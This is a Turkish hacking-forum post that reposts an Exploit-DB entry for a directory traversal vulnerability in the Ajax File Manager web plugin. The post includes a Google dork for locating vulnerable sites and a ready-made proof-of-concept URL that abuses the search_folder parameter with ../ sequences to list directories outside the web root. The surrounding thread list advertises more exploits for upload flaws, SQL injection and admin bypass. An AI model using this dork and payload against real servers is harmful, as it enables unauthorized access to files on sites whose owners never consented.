Konuyu Oyla:
  • Derecelendirme: 5/5 - 1 oy
  • 1
  • 2
  • 3
  • 4
  • 5
Ajax Dosya Yöneticisi Aykırı Dizin Açığı
#1
Kod:
# Exploit Title: Ajax File Manager  DirectoryTraversal
# Google Dork: inurl: "plugins/ajaxfilemanager"
# Date: 03/07/2014
# Exploit Author: Eduardo Alves (edudx9)
# Vendor Homepage: phpletter.com
# Software Link: http://phpletter.com/Demo/Ajax-File--Manager/
# Version: [app version - All
# Tested on: Windows/Linux


Ajax File/Image Manager is a l tool  to manager files and images remotely.
Without extra configs, it's possible to list files from another directory.

The vulnerability it's related to "search" function"

In "search_folder" parameter, escape with ../  or  ..%2f

PoF:

http://SERVER/PATH/ajaxfilemanager/ajax_get_file_listing.php?limit=10&view=thumbnail&search=1&search_name=&search_recursively=0&search_mtime_from=&search_mtime_to=&search_folder=../../../../../../../../home/phungv93/public_html/

Kod:
http://www.exploit-db.com/exploits/32115/
www.deccal.org


Beğenenler:

Konu ile Alakalı Benzer Konular
Konular Yazar Yorumlar Okunma Son Yorum
  WordPress TheAgency Teması Dosya Yükleme Açığı KingSkrupellos 11 183 Dün, Saat: 18:42
Son Yorum: the_zizil
  UpL Image Board_2 Content Dosya Yükleme Açığı KingSkrupellos 5 109 04-12-2016, Saat: 12:21
Son Yorum: antisecureman
  Desenvolvido de Markcerto SQL Enjeksiyon Açığı KingSkrupellos 11 206 30-11-2016, Saat: 16:56
Son Yorum: xApocalypse
  Website by Raw Marketing Editor Asset Dosya Yükleme Açığı KingSkrupellos 7 122 30-11-2016, Saat: 08:48
Son Yorum: the_zizil
  Natural Software CMS Yönetici Atlatma Açığı KingSkrupellos 7 128 30-11-2016, Saat: 02:56
Son Yorum: 0xfans
Anahtar Kelimeler

Ajax Dosya Yöneticisi Aykırı Dizin Açığı indir, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Videosu, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Online izle, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Bedava indir, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Yükle, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Hakkında, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Nedir, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Free indir, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Oyunu, Ajax Dosya Yöneticisi Aykırı Dizin Açığı Download


1 Ziyaretçi